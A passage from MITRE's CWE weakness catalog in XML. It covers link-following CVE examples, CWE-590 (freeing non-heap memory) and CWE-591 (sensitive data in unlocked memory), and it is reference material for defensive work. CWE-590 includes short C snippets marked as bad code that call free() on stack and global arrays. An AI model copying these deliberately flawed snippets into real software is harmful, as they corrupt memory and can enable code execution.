						program</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0972</Observed_Example_Reference>
					          <Observed_Example_Description>Setuid product allows file reading by replacing a
						file being edited with a symlink to the targeted file, leaking the result in
						error messages when parsing fails.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0824</Observed_Example_Reference>
					          <Observed_Example_Description>Signal causes a dump that follows
						symlinks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1494</Observed_Example_Reference>
					          <Observed_Example_Description>Hard link attack, file overwrite; interesting
						because program checks against soft links</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0793</Observed_Example_Reference>
					          <Observed_Example_Description> Hard link and possibly symbolic link following
						vulnerabilities in embedded operating system allow local users to overwrite
						arbitrary files. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0578</Observed_Example_Reference>
					          <Observed_Example_Description> Server creates hard links and unlinks files as
						root, which allows local users to gain privileges by deleting and
						overwriting arbitrary files. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0783</Observed_Example_Reference>
					          <Observed_Example_Description> Operating system allows local users to conduct a
						denial of service by creating a hard link from a device special file to a
						file on an NFS file system. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1603</Observed_Example_Reference>
					          <Observed_Example_Description> Web hosting manager follows hard links, which
						allows local users to read or modify arbitrary files.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1901</Observed_Example_Reference>
					          <Observed_Example_Description> Package listing system allows local users to
						overwrite arbitrary files via a hard link attack on the lockfiles.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1111</Observed_Example_Reference>
					          <Observed_Example_Description>Hard link race
						condition</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0342</Observed_Example_Reference>
					          <Observed_Example_Description> Mail client allows remote attackers to bypass the
						user warning for executable attachments such as .exe, .com, and .bat by
						using a .lnk file that refers to the attachment, aka "Stealth Attachment."
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1042</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to read
						arbitrary files and directories by uploading a .lnk (link) file that points
						to the target file. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1043</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to read
						arbitrary files and directories by uploading a .lnk (link) file that points
						to the target file. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0587</Observed_Example_Reference>
					          <Observed_Example_Description> Browser allows remote malicious web sites to
						overwrite arbitrary files by tricking the user into downloading a .LNK
						(link) file twice, which overwrites the file that was referenced in the
						first .LNK file. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1386</Observed_Example_Reference>
					          <Observed_Example_Description>".LNK." - .LNK with trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1233</Observed_Example_Reference>
					          <Observed_Example_Description>Rootkits can bypass file access restrictions to
						Windows kernel directories using NtCreateSymbolicLinkObject function to
						create symbolic link</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0725</Observed_Example_Reference>
					          <Observed_Example_Description> File system allows local attackers to hide file
						usage activities via a hard link to the target file, which causes the link
						to be recorded in the audit trail instead of the target file.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0844</Observed_Example_Reference>
					          <Observed_Example_Description> Web server plugin allows local users to overwrite
						arbitrary files via a symlink attack on predictable temporary filenames.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>File processing, temporary files</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>UNIX hard links, and Windows hard/soft links are under-studied and
						under-reported.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Symbolic Link Attacks", Page
						518.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Link Following</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names originating from untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Check for the existence of links when dealing with
						files</Mapped_Node_Name>
					          <Mapped_Node_ID>POS01-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names originating from untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>132</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Background_Details,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Link
						Following</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Resolve Links
						Before File Access (aka 'Link Following')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="590" Name="Free of Memory not on the Heap" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application calls free() on a pointer to memory that was
					not allocated using associated heap allocation functions such as malloc(),
					calloc(), or realloc().</Description_Summary>
				        <Extended_Description>
					          <Text>When free() is called on an invalid pointer, the program's memory
						management data structures may become corrupted. This corruption can cause
						the program to crash or, in some circumstances, an attacker may be able to
						cause free() to operate on controllable memory locations to modify critical
						program variables or execute code.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>762</Relationship_Target_ID>
					          <!--Mismatched Memory Management Routines-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>123</Relationship_Target_ID>
					          <!--Write-what-where Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>891</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Management-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>In C++, if the new operator was used to allocate the memory, it may be
						allocated with the malloc(), calloc() or realloc() family of functions in
						the implementation. Someone aware of this behavior might choose to map this
						problem to CWE-590 or to its parent, CWE-762, depending on their
						perspective.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>There is the potential for arbitrary code execution with privileges of
							the vulnerable program via a "write, what where" primitive.</Text>
						            <Text>If pointers to memory which hold user information are freed, a
							malicious user will be able to write 4 bytes anywhere in memory.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Only free pointers that you have called malloc on previously. This is
							the recommended solution. Keep track of which pointers point at the
							beginning of valid chunks and free them only once.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Before freeing a pointer, the programmer should make sure that the
							pointer was previously allocated on the heap and that the memory belongs
							to the programmer. Freeing an unallocated pointer will cause undefined
							behavior in the program.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, glibc in Linux provides protection against free of
							invalid pointers.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a language that provides abstractions for memory allocation and
							deallocation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a tool that dynamically detects memory management problems, such
							as valgrind.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, an array of record_t structs, bar, is allocated
						automatically on the stack as a local variable and the programmer attempts
						to call free() on the array. The consequences will vary based on the
						implementation of free(), but it will not succeed in deallocating the
						memory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void foo(){</Code>
							              <Block>
								                <Code>record_t bar[MAX_SIZE];</Code>
								                <Code/>
								                <Comment>/* do something interesting with bar */</Comment>
								                <Code>...</Code>
								                <Code>free(bar);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This example shows the array allocated globally, as part of the data
							segment of memory and the programmer attempts to call free() on the
							array.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>record_t bar[MAX_SIZE]; //Global var</Code>
							              <Code>void foo(){</Code>
							              <Block>
								                <Comment>/* do something interesting with bar */</Comment>
								                <Code>...</Code>
								                <Code>free(bar);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Instead, if the programmer wanted to dynamically manage the memory,
							malloc() or calloc() should have been used.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>void foo(){</Code>
							              <Block>
								                <Code>record_t *bar =
									(record_t*)malloc(MAX_SIZE*sizeof(record_t));</Code>
								                <Code/>
								                <Comment>/* do something interesting with bar */</Comment>
								                <Code>...</Code>
								                <Code>free(bar);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Additionally, you can pass global variables to free() when they are
							pointers to dynamically allocated memory.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>record_t *bar; //Global var</Code>
							              <Code>void foo(){</Code>
							              <Block>
								                <Code>bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));</Code>
								                <Code/>
								                <Comment>/* do something interesting with bar */</Comment>
								                <Code>...</Code>
								                <Code>free(bar);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference>
					          <Reference_Title>Valgrind</Reference_Title>
					          <Reference_Link>http://valgrind.org/</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Only free memory allocated dynamically</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM34-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Only free memory allocated dynamically</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM34-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Maintenance_Notes, Name, Other_Notes, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Improperly Freeing Heap
						Memory</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Free of Invalid Pointer Not
						on the Heap</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-10-29">Free of Memory not on the
						Heap</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="591" Name="Sensitive Data Storage in Improperly Locked Memory" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application stores sensitive data in memory that is not
					locked, or that has been incorrectly locked, which might cause the memory to be
					written to swap files on disk by the virtual memory manager. This can make the
					data more accessible to external actors.</Description_Summary>
				        <Extended_Description>
					          <Text>On Windows systems the VirtualLock function can lock a page of memory to
						ensure that it will remain present in memory and not be swapped to disk.
						However, on older versions of Windows, such as 95, 98, or Me, the
						VirtualLock() function is only a stub and provides no protection. On POSIX
						systems the mlock() call ensures that a page will stay resident in memory
						but does not guarantee that the page will not appear in the swap. Therefore,
						it is unsuitable for use as a protection mechanism for sensitive data. Some
						platforms, in particular Linux, do make the guarantee that the page will not
						be swapped, but this is non-standard and is not portable. Calls to mlock()
						also require supervisor privilege. Return values for both of these calls
						must be checked to ensure that the lock operation was actually successful.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>413</Relationship_Target_ID>
					          <!--Improper Resource Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Sensitive data that is written to a swap file may be exposed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Identify data that needs to be protected from swapping and choose
							platform-appropriate protection mechanisms.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check return values to ensure locking operations are
							successful.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that sensitive data is not written out to
						disk</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that sensitive data is not written out to
						disk</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Memory
						Locking</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="592" Name="Authentication Bypass Issues" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly perform authentication, allowing
					it to be bypassed through various methods.</Description_Summary>
			      </Description>
			      <Relationships>
